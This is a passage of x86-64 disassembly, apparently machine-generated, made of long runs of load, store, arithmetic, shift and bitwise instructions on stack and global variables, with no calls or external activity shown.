sub rax, rcx
mov rcx, qword [rsp + 0x8eb8]
mov qword [rcx], rax
lea rax, [rsp + 0x8b20]
mov qword [rsp + 0x8ee8], rax
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
sub eax, ecx
mov byte [0x1401e700d], al
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x1010]
add eax, ecx
mov rcx, qword [rsp + 0x8e80]
mov word [rcx], ax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x8ef0], rax
mov rax, qword [0x1401e87d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1024]
sub eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4e2c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d88], eax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov dword [rsp + 0x4e38], eax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e700e], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x101c], ax
lea rax, [0x1401e7034]
mov qword [rsp + 0x8f00], rax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7f], al
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x8e98]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad0], rax
lea rax, [rsp + 0x4cbc]
mov qword [rsp + 0x8f08], rax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0x8e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ea0]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d50], eax
movzx eax, word [rsp + 0x1008]
mov word [0x1401e87f0], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
sub eax, ecx
mov word [rsp + 0xffc], ax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x8f10], rax
movzx eax, word [rsp + 0x1024]
movzx ecx, word [rsp + 0x1018]
and eax, ecx
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x8b20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cec]
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad0], rax
lea rax, [rsp + 0x4e34]
mov qword [rsp + 0x8f18], rax
movsx eax, word [0x1401e87f0]
movsx ecx, word [rsp + 0x1030]
sub eax, ecx
mov rcx, qword [rsp + 0x8ec8]
mov word [rcx], ax
lea rax, [rsp + 0x101c]
mov qword [0x1401e87f8], rax
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x75]
add eax, ecx
mov rcx, qword [rsp + 0x8e38]
mov byte [rcx], al
movzx eax, byte [0x1401e8793]
mov byte [rsp + 0x85], al
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov byte [rcx], al
mov eax, dword [rsp + 0x4e2c]
mov dword [rsp + 0x4e40], eax
mov rax, qword [rsp + 0x8e40]
mov rcx, qword [rsp + 0x8ee8]
mov qword [rsp + 0x8f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8d28]
mov qword [rsp + 0x8f28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e3c], eax
lea rax, [rsp + 0x8ef8]
mov qword [rsp + 0x8f30], rax
movzx eax, byte [str._DM_b]
movzx ecx, byte [rsp + 0x71]
or eax, ecx
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1018]
xor eax, ecx
mov word [0x1401e7038], ax
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x86], al
movzx eax, byte [str._DM_b]
movzx ecx, byte [rsp + 0x71]
and eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0xff4]
mov qword [rsp + 0x8f38], rax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0x8e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e40], rax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov dword [rsp + 0x4e44], eax
mov eax, dword [0x1401e7004]
mov ecx, dword [rsp + 0x4db4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e2c], eax
movzx eax, word [rsp + 0x1008]
mov word [rsp + 0x1034], ax
movsx eax, word [rsp + 0x1030]
movsx ecx, word [rsp + 0x1014]
add eax, ecx
mov rcx, qword [0x1401e87a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
and eax, ecx
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1018], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x4e40]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8eb8]
mov rax, qword [rax]
mov qword [rsp + 0x8f40], rax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4e44]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x8e40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e50], rax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x88], al
movsx eax, word [rsp + 0x1008]
movsx ecx, word [rsp + 0xff0]
xor eax, ecx
mov word [0x1401e7040], ax
movsx eax, byte [rsp + 0x75]
movsx ecx, byte [rsp + 0x80]
shl eax, cl
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
lea rax, [rsp + 0x86]
mov qword [rsp + 0x8f48], rax
movzx eax, word [rsp + 0x1024]
mov rcx, qword [rsp + 0x8de8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8e48]
mov word [rcx], ax
lea rax, [rsp + 0x1028]
mov qword [rsp + 0x8f50], rax
mov rax, qword [rsp + 0x8bb8]
mov rcx, qword [rsp + 0x8d08]
mov qword [rsp + 0x8f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f58]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8ee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f08]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
lea rax, [0x1401e7004]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x8eb8]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e98], rax
lea rax, [rsp + 0x84]
mov qword [0x1401e8800], rax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov word [rsp + 0x1038], ax
movsx eax, byte [0x1401e8792]
mov rcx, qword [rsp + 0x8f10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xff0], ax
lea rax, [rsp + 0x82]
mov qword [rsp + 0x8f68], rax
mov rax, qword [rsp + 0x8f08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e68]
mov rax, qword [rax]
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0x8f40]
mov rcx, qword [rsp + 0x8d30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8f60]
mov ecx, dword [rsp + 0x4d44]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e40], eax
lea rax, [rsp + 0x79]
mov qword [0x1401e8808], rax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x8f78], rax
mov rax, qword [0x1401e87a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1030]
sub eax, ecx
mov rcx, qword [rsp + 0x8ec8]
mov word [rcx], ax
lea rax, [rsp + 0x75]
mov qword [rsp + 0x8f80], rax
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1024]
add eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d38]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e2c], eax
mov rax, qword [rsp + 0x8eb8]
mov rax, qword [rax]
mov qword [rsp + 0x8f88], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8b20]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4e48], eax
lea rax, [rsp + 0x7c]
mov qword [0x1401e8810], rax
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff4]
shl eax, cl
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
mov rax, qword [0x1401e87c0]
movzx eax, byte [rax]
mov byte [rsp + 0x89], al
mov rax, qword [rsp + 0x8ee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8eb0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0xff8]
sar eax, cl
mov word [rsp + 0x1018], ax
mov rax, qword [rsp + 0x8d50]
mov qword [rsp + 0x8f90], rax
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4cbc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e58]
mov qword [rsp + 0x8f98], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1004]
sub eax, ecx
mov word [0x1401e7044], ax
mov rax, qword [rsp + 0x8e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [0x1401e87a8]
movzx eax, word [rax]
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0x8ef0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77]
sub eax, ecx
mov byte [rsp + 0x88], al
lea rax, [rsp + 0x1024]
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8e30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e98], rax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cd0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov dword [rsp + 0x4e4c], eax
mov rax, qword [rsp + 0x8f70]
mov rcx, qword [rsp + 0x8af8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ee8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x82]
mov byte [0x1401e8795], al
lea rax, [rsp + 0xffc]
mov qword [rsp + 0x8fa8], rax
movzx eax, word [rsp + 0x1038]
movzx ecx, word [rsp + 0x1010]
sub eax, ecx
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x100c]
or eax, ecx
mov word [rsp + 0x1028], ax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8d38]
mov eax, dword [rax]
mov dword [rsp + 0x4e50], eax
mov eax, dword [rsp + 0x4e3c]
mov rcx, qword [rsp + 0x8e60]
mov qword [rsp + 0x8fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8fb0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x8fb8], rax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f48]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e700d], al
movsx eax, word [rsp + 0x1028]
movsx ecx, word [rsp + 0x100c]
sub eax, ecx
mov rcx, qword [rsp + 0x8eb0]
mov word [rcx], ax
mov rax, qword [0x1401e87e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1020]
and eax, ecx
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
add eax, ecx
mov byte [rsp + 0x75], al
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0x8fc0], rax
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4d90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0x8ee8]
mov rax, qword [rax]
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1018]
add eax, ecx
mov word [0x1401e7048], ax
mov rax, qword [rsp + 0x8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
add eax, ecx
mov rcx, qword [rsp + 0x8ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf8]
movzx eax, byte [rax]
mov byte [rsp + 0x8c], al
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x8f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
movzx ecx, byte [str._DM_b]
add eax, ecx
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x8ec0]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
mov byte [rsp + 0x8d], al
movzx eax, byte [rsp + 0x74]
movzx ecx, byte [rsp + 0x76]
shl eax, cl
mov rcx, qword [0x1401e8800]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xffc]
or eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x1024]
sar eax, cl
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x8f70]
mov rcx, qword [0x1401e7028]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov dword [rsp + 0x4e58], eax
mov eax, dword [0x1401e7008]
mov ecx, dword [rsp + 0x4e44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ad0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fa0]
movzx eax, word [rax]
mov word [rsp + 0x1040], ax
lea rax, [rsp + 0x77]
mov qword [0x1401e8818], rax
movsx eax, word [0x1401e7040]
movsx ecx, word [rsp + 0xffc]
sub eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf8]
movzx eax, byte [rax]
mov byte [rsp + 0x8f], al
movzx eax, word [rsp + 0x1010]
movzx ecx, word [rsp + 0x1018]
sub eax, ecx
mov rcx, qword [rsp + 0x8e48]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
lea rax, [rsp + 0x8ad0]
mov qword [rsp + 0x8fd8], rax
mov rax, qword [rsp + 0x8ed8]
mov rcx, qword [rsp + 0x8e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e28]
mov eax, dword [rax]
mov dword [rsp + 0x4e5c], eax
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x83], al
movsx eax, byte [rsp + 0x79]
mov rcx, qword [0x1401e8810]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e700d], al
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8d90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov word [rcx], ax
lea rax, [rsp + 0x102c]
mov qword [rsp + 0x8fe0], rax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fb8]
mov qword [rsp + 0x8fe8], rax
mov eax, dword [rsp + 0x4e24]
movzx ecx, al
mov eax, dword [rsp + 0x4e58]
shr eax, cl
mov dword [rsp + 0x4e20], eax
lea rax, [rsp + 0x8b80]
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0x8e60]
idiv dword [rcx]
mov rcx, qword [rsp + 0x8f08]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1020]
movzx ecx, word [rsp + 0x1018]
xor eax, ecx
mov word [rsp + 0x102c], ax
mov rax, qword [rsp + 0x8ee0]
movsx eax, word [rax]
mov rcx, qword [0x1401e87c8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401e87a8]
mov word [rcx], ax
lea rax, [rsp + 0x7a]
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x8ee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1028], ax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x90], al
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8eb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ef8], rax
lea rax, [0x1401e7004]
mov qword [rsp + 0x9000], rax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e50]
mov qword [rsp + 0x9008], rax
movzx eax, word [rsp + 0x1020]
movzx ecx, word [0x1401e87e0]
and eax, ecx
mov word [0x1401e704c], ax
movzx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
movsx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78], al
lea rax, [0x1401e8795]
mov qword [rsp + 0x9010], rax
movzx eax, word [rsp + 0x101c]
movzx ecx, word [rsp + 0x1038]
sub eax, ecx
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e24]
mov dword [rsp + 0x4e60], eax
mov eax, dword [rsp + 0x4e4c]
mov ecx, dword [rsp + 0x4e38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fc8]
mov qword [rsp + 0x9018], rax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8e58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8d40], rax
lea rax, [0x1401e87f0]
mov qword [0x1401e8820], rax
movsx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8e38]
mov byte [rcx], al
movzx eax, word [rsp + 0x1030]
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8eb8]
mov qword [rsp + 0x9020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9020]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8e98], rax
mov rax, qword [rsp + 0x8e50]
mov rcx, qword [rsp + 0x8ca8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e40], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x9028], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8b78]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4e4c], eax
movzx eax, byte [rsp + 0x88]
mov rcx, qword [0x1401e8818]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e8795], al
lea rax, [rsp + 0x100c]
mov qword [rsp + 0x9030], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7c], al
movzx eax, word [rsp + 0x1004]
mov rcx, qword [rsp + 0x8e48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xff4], ax
lea rax, [rsp + 0x1010]
mov qword [rsp + 0x9038], rax
mov eax, dword [rsp + 0x4e60]
mov ecx, dword [rsp + 0x4e24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d44], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8f70]
mov rcx, qword [rsp + 0x8d50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8818]
mov byte [rcx], al
movzx eax, word [rsp + 0x1010]
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0x8f10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x86]
sub eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov byte [rcx], al
movzx eax, word [0x1401e8790]
mov word [rsp + 0x104c], ax
movzx eax, word [rsp + 0x1048]
movzx ecx, word [rsp + 0x1000]
add eax, ecx
mov word [rsp + 0xff8], ax
mov eax, dword [rsp + 0x4e40]
mov dword [rsp + 0x4e64], eax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ff0]
mov rcx, qword [rsp + 0x8e98]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x8e40]
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov byte [0x1401e8796], al
movsx eax, word [rsp + 0x1014]
movsx ecx, word [rsp + 0xff0]
shl eax, cl
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
lea rax, [rsp + 0x1018]
mov qword [rsp + 0x9050], rax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [0x1401e8810]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x103c]
xor eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
mov qword [rsp + 0x9058], rax
mov rax, qword [rsp + 0x8ec0]
mov ecx, dword [rsp + 0x4e50]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4db4], eax
mov eax, dword [rsp + 0x4cbc]
mov dword [rsp + 0x4e68], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x9040]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f88], rax
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x9010]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e8795], al
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
add eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x92], al
movsx eax, word [0x1401e7034]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x103c], ax
lea rax, [rsp + 0x87]
mov qword [rsp + 0x9060], rax
mov rax, qword [rsp + 0x8f08]
mov rcx, qword [rsp + 0x8d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b70]
